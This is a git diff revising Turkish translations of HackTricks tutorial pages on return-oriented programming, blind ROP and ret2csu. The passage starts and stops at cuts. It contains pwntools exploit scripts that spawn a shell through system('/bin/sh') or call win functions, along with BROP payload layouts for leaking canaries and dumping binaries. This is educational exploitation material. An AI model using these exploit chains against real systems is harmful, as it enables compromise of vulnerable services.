**"/bin/sh"** dizesini argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'ları bulmaya odaklanalım. Aşağıdaki gadget'ları tanımladığımızı varsayalım: +Amacımız, **RDI** registerını ayarlamamıza ( **system()** fonksiyonuna **"/bin/sh"** dizesini argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'lara odaklanmak. Aşağıdaki gadget'ları tanımladığımızı varsayalım: -* **pop rdi; ret**: Yığının en üst değerini **RDI**'ya çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel önemlidir. +* **pop rdi; ret**: Yığının en üst değerini **RDI**'ya çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel öneme sahiptir. * **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için kullanışlıdır. Ve **system()** fonksiyonunun adresini biliyoruz. ### **ROP Zinciri** -Aşağıda, **x64** üzerinde **system('/bin/sh')**'ı çalıştırmayı amaçlayan bir ROP zinciri oluşturmak ve yürütmek için **pwntools** kullanarak bir örnek bulunmaktadır: +Aşağıda, **x64** üzerinde **system('/bin/sh')**'ı çalıştırmayı amaçlayan bir ROP zinciri oluşturup çalıştırmak için **pwntools** kullanarak bir örnek bulunmaktadır: ```python from pwn import * @@ -139,20 +123,14 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` -Bu örnekte: - -- **`pop rdi; ret`** cihazını kullanarak **`RDI`**'yi **`"/bin/sh"`** adresine ayarlıyoruz. -- **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, **system()**'ün adresi zincirde. -- **Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu daha yaygın olarak **x64**'te fonksiyonları çağırmadan önce uygun yığın hizalamasını sağlamak için gereklidir. - ### Yığın Hizalaması -**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Yığın uygun şekilde hizalanmazsa (yani **RSP** 16'nın katı değilse), **ROP zincirinde** **system** gibi fonksiyonlara çağrılar başarısız olur. Bunun düzeltilmesi için ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret cihazı** ekleyin. +**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Eğer yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi fonksiyonlara yapılan çağrılar bir **ROP zincirinde** başarısız olacaktır. Bunun düzeltilmesi için ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. -## x86'ya karşı x64 ana farkı +## x86'ya karşı x64 ana fark {% hint style="success" %} -**x64, ilk birkaç argüman için kayıtları kullandığından,** basit fonksiyon çağrıları için genellikle x86'dan daha az cihaz gerektirir, ancak doğru cihazları bulup zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. Artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, sömürü geliştirme için hem fırsatlar hem de zorluklar sunar. +**x64, ilk birkaç argüman için kayıtları kullandığından**, basit fonksiyon çağrıları için genellikle x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulup zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisinde artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, hem fırsatlar hem de zorluklar sunar. {% endhint %} ## ARM64 Örneğinde ROP Zinciri @@ -167,21 +145,21 @@ Bu bilgiler için aşağıdaki sayfaya bakın: ## ROP'a Karşı Korumalar -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, adreslerin yürütme arasında değişmesi nedeniyle ROP kullanımını zorlaştırır. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, adreslerin yürütme arasında değişmesi nedeniyle ROP'un kullanımını zorlaştırır. * [**Yığın Kanaryaları**](../common-binary-protections-and-bypasses/stack-canaries/): BOF durumunda, ROP zincirini kötüye kullanmak için geri dönüş işaretçilerini üzerine yazmak için yığın kanaryasını atlamak gereklidir. -* **Yetersiz Cihazlar**: Yeterli cihaz yoksa ROP zinciri oluşturulamaz. +* **Gadget Eksikliği**: Yeterli sayıda gadget yoksa ROP zinciri oluşturulamaz. ## ROP tabanlı teknikler -ROP'un yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirilmiştir: - -* **Ret2lib**: Yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için ROP kullanın (genellikle `system('/bin/sh')` gibi bir şey). +ROP'un sadece keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirilmiştir: +* **Ret2lib**: Yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için ROP'u kullanın (genellikle `system('/bin/sh')` gibi bir şey). + {% content-ref url="ret2lib/" %} [ret2lib](ret2lib/) {% endcontent-ref %} -* **Ret2Syscall**: ROP'u bir sistem çağrısını hazırlamak için kullanın, örneğin `execve`, ve bunu keyfi komutları yürütmek için kullanın. +* **Ret2Syscall**: Bir sistem çağrısına, örneğin `execve`, hazırlamak için ROP'u kullanın ve keyfi komutları yürütün. {% content-ref url="rop-syscall-execv/" %} [rop-syscall-execv](rop-syscall-execv/) @@ -197,6 +175,6 @@ ROP'un yalnızca keyfi kodu yürütmek için bir teknik olduğunu unutmayın. RO * [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) * [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html) -* 64 bit, Pie ve nx etkin, kanarya yok, RIP'yi yalnızca bir `vsyscall` adresiyle üzerine yazarak, yığında işlevin bayrağı sızdıran kısmını elde etmek için bir sonraki adrese dönüş yapılacak kısmı aşırı yazma +* 64 bit, Pie ve nx etkin, kanarya yok, RIP'yi yalnızca bir `vsyscall` adresiyle üzerine yazarak, sızdıran bayrağı elde etmek için işlevin bir kısmını almak için yığında bir sonraki adrese dönüş yapacak bir kısmi üzerine yazma * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -* arm64, ASLR yok, ROP cihazı yığını yürütülebilir yapmak ve yığında shellcode'a atlamak için +* arm64, ASLR yok, ROP gadget'ı yığını yürütülebilir yapmak ve yığında shellcode'a atlamak için diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 7bdcc85ee..5e6d7557f 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -1,81 +1,82 @@ # BROP - Körüklü Dönüş Yönlü Programlama +{% hint style="success" %} +AWS Hacking öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**. +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Bu saldırının amacı, **zararlı bir ikili hakkında hiçbir bilgi olmadan bir ROP'u bir tampon taşması aracılığıyla kötüye kullanabilmektir**.\ +Bu saldırının amacı, **zararlı bir ikili hakkında hiçbir bilgi olmadan bir ROP'yi bir tampon taşması aracılığıyla kötüye kullanabilmektir**.\ Bu saldırı aşağıdaki senaryoya dayanmaktadır: * Bir yığın güvenlik açığı ve nasıl tetikleneceği hakkında bilgi. -* Bir çökme sonrasında yeniden başlatan bir sunucu uygulaması. +* Bir çökme sonrası yeniden başlatan bir sunucu uygulaması. ## Saldırı ### **1. Hassas ofseti bulma** sunucunun bir arıza tespit edilene kadar bir karakter daha gönderilmesi -### **2. Canary'yi zorla** sızdırmak için +### **2. Canary'yi kaba kuvvetle çözme** sızdırmak için -### **3. Depolanmış RBP ve RIP'yi zorla** sızdırmak için yığında adresleri zorla +### **3. Depolanmış RBP ve RIP'yi kaba kuvvetle çözme** adreslerini yığında sızdırmak için -Bu süreçler hakkında daha fazla bilgiyi [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) bulabilirsiniz. +Bu işlemler hakkında daha fazla bilgiyi [burada (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) ve [burada (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md) bulabilirsiniz. ### **4. Durak cihazını bulma** -Bu cihaz temelde, ROP cihazı tarafından bir şeyin yürütüldüğünü onaylamaya izin verir çünkü yürütme çökmüyor. Genellikle, bu cihaz **yürütmenin durmasına izin verir** ve belirli bir ROP cihazının yürütüldüğünü doğrulamak için ROP cihazlarını ararken ROP zincirinin sonunda konumlandırılır. +Bu cihaz temelde, ROP cihazı tarafından bir şeyin ilginç bir şekilde yürütüldüğünü onaylamaya izin verir çünkü yürütme çökmemiştir. Genellikle, bu cihaz **yürütümü durduran bir şey** olacak ve belirli bir ROP cihazının yürütüldüğünü doğrulamak için ROP cihazlarını ararken ROP zincirinin sonunda konumlandırılacaktır. ### **5. BROP cihazını bulma** -Bu teknik [**ret2csu**](ret2csu.md) cihazını kullanır. Ve bu, eğer bu cihaza birkaç talimatın ortasında erişirseniz, **`rsi`** ve **`rdi`**'yi kontrol etmek için cihazlar elde edersiniz: +Bu teknik, [**ret2csu**](ret2csu.md) cihazını kullanır. Ve bu, eğer bu cihaza bir talimatların ortasında erişirseniz, **`rsi`** ve **`rdi`**'yi kontrol etmek için cihazlar elde edersiniz: -

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Bu cihazlar şunlar olacaktır: * `pop rsi; pop r15; ret` * `pop rdi; ret` -Bu cihazlarla **bir işlevin 2 argümanını kontrol etmek mümkün** olduğuna dikkat edin. +Bu cihazlarla **bir işlevin 2 argümanını kontrol etmek** mümkündür. -Ayrıca, ret2csu cihazının **çok benzersiz bir imzası** olduğuna dikkat edin çünkü yığından 6 kaydı çıkaracak. Bu nedenle, aşağıdaki gibi bir zincir göndermek: +Ayrıca, ret2csu cihazının **çok benzersiz bir imzası** olduğuna dikkat edin çünkü yığından 6 kaydı çıkaracak. Bu nedenle, aşağıdaki gibi bir zincir göndermek mümkündür: -`'A' * ofset + canary + rbp + ADDR + 0xdead * 6 + STOP` +`'A' * ofset + canary + rbp + ADRES + 0xdead * 6 + DURAK` -Eğer **STOP yürütülürse**, bu temelde yığından 6 kaydı çıkaran bir adresin kullanıldığı anlamına gelir. Veya kullanılan adresin aynı zamanda bir DURAK adresi olduğu anlamına gelir. +Eğer **DURAK yürütülürse**, bu temelde yığından 6 kaydı çıkaran bir adresin kullanıldığı anlamına gelir. Veya kullanılan adres aynı zamanda bir DURAK adresiydi. -Bu son seçeneği **kaldırmak için** önceki birinin 6 kaydı çıkardığını doğrulamak için STOP cihazını yürütmeyecek yeni bir zincir yürütülür: +Bu son seçeneği **kaldırmak için** önceki birinin 6 kaydı çıkardığını doğrulamak için aşağıdaki gibi yeni bir zincir yürütülür ve DURAK cihazını yürütmemesi gerekir: -`'A' * ofset + canary + rbp + ADDR` +`'A' * ofset + canary + rbp + ADRES` ret2csu cihazının adresini bildiğinizde, **`rsi` ve `rdi`'yi kontrol etmek için cihazların adresini çıkarabilirsiniz**. ### 6. PLT'yi bulma -PLT tablosu, 0x400000'den veya yığın üzerindeki **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablonun **girişleri** 16B (0x10B) ile ayrılmıştır ve bir işlev çağrıldığında sunucu çökmez, hatta argümanlar doğru değilse. Ayrıca, **PLT + 6B'deki bir giriş adresini kontrol etmek de çökmez** çünkü bu ilk olarak yürütülen kod olacaktır. +PLT tablosu, 0x400000'den veya yığın üzerindeki **sızdırılan RIP adresinden** (eğer **PIE** kullanılıyorsa) aranabilir. Tablonun **girişleri** 16B (0x10B) ile ayrılmıştır ve bir işlev çağrıldığında sunucu, argümanlar doğru olmasa bile çökmeyecektir. Ayrıca, **PLT + 6B'deki bir giriş adresini kontrol etmek de çökmeyecektir** çünkü bu ilk olarak yürütülen kod olacaktır. Bu nedenle, PLT tablosunu bulmak için aşağıdaki davranışları kontrol etmek mümkündür: -* `'A' * ofset + canary + rbp + ADDR + STOP` -> çökme olmaz -* `'A' * ofset + canary + rbp + (ADDR + 0x6) + STOP` -> çökme olmaz -* `'A' * ofset + canary + rbp + (ADDR + 0x10) + STOP` -> çökme olmaz +* `'A' * ofset + canary + rbp + ADRES + DURAK` -> çökme olmaz +* `'A' * ofset + canary + rbp + (ADRES + 0x6) + DURAK` -> çökme olmaz +* `'A' * ofset + canary + rbp + (ADRES + 0x10) + DURAK` -> çökme olmaz ### 7. strcmp'i bulma -**`strcmp`** işlevi, karşılaştırılan dize uzunluğunu belirten **`rdx`** kaydını ayarlar. **`rdx`**'in **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write`'ı kullanabilmek için bu değerin 0'dan büyük olması gerektiğini unutmayın. +**`strcmp`** işlevi, karşılaştırılan dize uzunluğunu belirlemek için **`rdx`** kaydını ayarlar. **`rdx`**'in **üçüncü argüman** olduğunu ve daha sonra programı sızdırmak için `write`'ı kullanabilmek için bunun **0'dan büyük olması gerektiğini** unutmayın. -Şimdi, artık işlevlerin ilk 2 argümanını kontrol edebildiğimiz gerçeğini kullanarak, **`strcmp`**'in PLT'deki konumunu bulmak mümkündür: +Şimdi, artık fonksiyonların ilk 2 argümanını kontrol edebildiğimiz gerçeğini kullanarak, **PLT'deki strcmp'in konumunu** bulmak mümkündür: * strcmp(\, \) -> çökme * strcmp(\, \) -> çökme @@ -85,17 +86,17 @@ Bu nedenle, PLT tablosunu bulmak için aşağıdaki davranışları kontrol etme Bunu kontrol etmek için PLT tablosunun her girişini çağırarak veya **PLT yavaş yolu**'nu kullanarak yapılabilir. Bu, temelde **PLT tablosundaki bir girişi + 0xb** (ki bu **`dlresolve`**'a çağrı yapar) çağırmayı ve yığında **taramak istediğiniz giriş numarasını** (sıfırdan başlayarak) takip etmeyi içerir: * strcmp(\, \) -> çökme -* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek +* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DURAK` -> Çökecek * strcmp(\, \) -> çökme -* `b'A' * ofset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +* `b'A' * ofset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DURAK` * strcmp(\, \) -> çökme olmaz -* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` +* `b'A' * ofset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(GİRİŞ) + DURAK` Unutmayın ki: * BROP + 0x7 **`pop RSI; pop R15; ret;`'e** işaret eder * BROP + 0x9 **`pop RDI; ret;`'e** işaret eder -* PLT + 0xb **dl\_resolve**'a bir çağrı yapar. +* PLT + 0xb **`dl\_resolve`'a** bir çağrı yapar. `strcmp` bulunduğunda, **`rdx`**'i 0'dan büyük bir değere ayarlamak mümkün olacaktır. @@ -114,15 +115,15 @@ Bunu gerçekleştirmek için kötüye kullanılabilecek 3 yaygın fonksiyon bulu Ancak, orijinal makale sadece **`write`**'ı belirtir, bu yüzden ondan bahsedelim: -Mevcut sorun, **write fonksiyonunun PLT içinde nerede olduğunu bilmiyor olmamız** ve **verileri soketimize göndermek için bir fd numarasının olmamasıdır**. +Mevcut sorun, **write fonksiyonunun PLT içinde nerede olduğunu bilmiyoruz** ve **verileri soketimize göndermek için bir fd numarası bilmiyoruz**. -Ancak, **PLT tablosunun nerede olduğunu biliyoruz** ve write'ı **davranışına göre bulmak mümkündür**. Ve sunucuyla **birkaç bağlantı oluşturabiliriz ve yüksek bir FD kullanarak** bağlantılarımızdan bazılarıyla eşleşmesini umabiliriz. +Ancak, **PLT tablosunun nerede olduğunu biliyoruz** ve davranışına dayanarak write'ı bulmak mümkündür. Ve sunucuyla **birkaç bağlantı oluşturabiliriz ve yüksek bir FD kullanabiliriz** umarak bağlantılarımızdan bazılarıyla eşleştiğini umabiliriz. Bu fonksiyonları bulmak için davranış imzaları: -* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırıldıysa, puts bulundu -* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırıldıysa, dprintf bulundu -* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Veri yazdırıldıysa, write bulundu +* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, puts bulundu +* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, dprintf bulundu +* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Eğer veri yazdırılıyorsa, write bulundu ## Otomatik Sömürü diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 2d97f6958..8f23e9fc0 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -1,18 +1,19 @@ # Ret2csu +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## @@ -26,7 +27,7 @@ Bir program belirli kütüphaneleri (örneğin libc) kullandığında, programı **`__libc_csu_init`** içinde vurgulanması gereken iki talimat dizisi (gadget) bulunmaktadır: -1. İlk dizi bize birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerler ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri saklayabileceğimiz yuvalar gibidir. +1. İlk dizi, birkaç kayıtta (rbx, rbp, r12, r13, r14, r15) değerler ayarlamamıza olanak tanır. Bunlar, daha sonra kullanmak istediğimiz sayıları veya adresleri saklayabileceğimiz yuvalar gibidir. ```armasm pop rbx; pop rbp; @@ -38,8 +39,8 @@ ret; ``` Bu cihaz, bu kayıtları yığınından çıkararak onları kontrol etmemizi sağlar. -2. İkinci sıra, kurduğumuz değerleri kullanarak birkaç şey yapmak için kullanılır: -* **Belirli değerleri diğer kayıtlara taşır**, böylece bunları işlevlerde parametre olarak kullanmaya hazır hale getirir. +2. Sıradaki dizilim, kurduğumuz değerleri kullanarak birkaç şey yapar: +* **Belirli değerleri diğer kayıtlara taşır**, bunları işlevlerde parametre olarak kullanmamız için hazır hale getirir. * r15 ve rbx'deki değerleri toplayarak belirlenen bir konuma **çağrı yapar**, ardından rbx'i 8 ile çarpar. ```armasm mov rdx, r15; @@ -47,7 +48,7 @@ mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -2. Belki de oraya yazacak herhangi bir adres bilmiyorsunuz ve bir `ret` talimatına ihtiyacınız var. İkinci cihaz da bir `ret` ile sona erecek, ancak ona ulaşmak için bazı **koşulları karşılamanız gerekecek**: +2. Belki de oraya yazmak için herhangi bir adres bilmiyorsunuz ve bir `ret` talimatına ihtiyacınız var. İkinci cihazın da bir `ret` ile sona ereceğini unutmayın, ancak ona ulaşmak için bazı **koşulları** karşılamanız gerekecek: ```armasm mov rdx, r15; mov rsi, r14; @@ -59,10 +60,12 @@ jnz ... ret ``` -Koşullar şunlar olacak: +```plaintext +Koşullar şunlar olacaktır: * `[r12 + rbx*8]`, çağrılabilir bir işlevi saklayan bir adrese işaret etmelidir (fikir yoksa ve pie yoksa, sadece `_init` işlevini kullanabilirsiniz): -* Eğer \_init `0x400560` adresinde ise, GEF'i kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]` adresi, \_init'e işaret eden işaretçi olan adres olsun: +* Eğer \_init `0x400560` adresinde ise, GEF'i kullanarak bellekte ona işaret eden bir işaretçi arayın ve `[r12 + rbx*8]` adresinin \_init'e işaret eden işaretçi olan adres olmasını sağlayın: +``` ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 @@ -79,7 +82,7 @@ gef➤ search-pattern 0x400560 Ret2csu cihazından **`rdi`** ve **`rsi`**'yi kontrol etmenin başka bir yolu, belirli ofsetlere erişerek yapılır: -

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Daha fazla bilgi için bu sayfaya bakın: @@ -95,10 +98,10 @@ Bir sistem çağrısı yapmak veya `write()` gibi bir işlevi çağırmak istedi İşte burada **ret2csu** devreye giriyor: -1. **Kayıtları Ayarlayın**: İlk sihirli cihazı kullanarak yığınından değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e alın. +1. **Kayıtları Ayarlayın**: İlk sihirli cihazı kullanarak değerleri yığından rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e alın. 2. **İkinci Cihazı Kullanın**: Bu kayıtlar ayarlandıktan sonra ikinci cihazı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır, işlev çağrısı için parametreleri hazırlar. Dahası, `r15` ve `rbx`'i kontrol ederek, hesapladığınız ve `[r15 + rbx*8]`'e yerleştirdiğiniz adreste bulunan bir işlevi programı çağırabilirsiniz. -Bu tekniği kullanan ve açıklayan bir [**örneğe buradan ulaşabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), ve kullanılan son saldırı şudur: +Bu tekniği kullanan ve açıklayan bir [**örneğe buradan ulaşabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), ve bu kullanılan son saldırı şudur: ```python from pwn import * @@ -123,12 +126,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` {% hint style="warning" %} -Önceki saldırının bir **`RCE`** gerçekleştirmek için değil, sadece `win` adlı bir işlevi çağırmak için tasarlandığını unutmayın (`win` adresini stdin'den alarak ROP zincirinde gets'i çağırıp ve r15'te saklayarak üçüncü argümanı `0xdeadbeefcafed00d` değeri ile çağırır). +Önceki saldırının bir **`RCE`** yapmak için değil, sadece `win` adlı bir işlevi çağırmak için tasarlandığını unutmayın (`win` adresini stdin'den alarak ROP zincirinde gets'i çağırıp ve bunu r15'e saklayarak üçüncü bir argümanla değeri `0xdeadbeefcafed00d` olarak). {% endhint %} ### Çağrıyı atlayarak ve ret'e ulaşarak geçme -Aşağıdaki saldırı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) çıkarılmıştır, burada **ret2csu** kullanılmış ancak çağrı yerine karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşılmıştır: +Aşağıdaki saldırı [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) çıkarıldı, burada **ret2csu** kullanılıyor ancak çağrı yerine karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşılıyor: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -178,6 +181,6 @@ payload += ret2win target.sendline(payload) target.interactive() ``` -### Neden Sadece libc'yi Kullanmıyoruz? +### Neden Sadece Libc'yi Kullanmıyoruz? -Genellikle bu durumlar [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) için de savunmasız olabilir, ancak bazen doğrudan libc içinde bulduğunuz gadget'larla kolayca kontrol edilemeyen daha fazla parametreyi kontrol etmeniz gerekebilir. Örneğin, `write()` fonksiyonu üç parametre 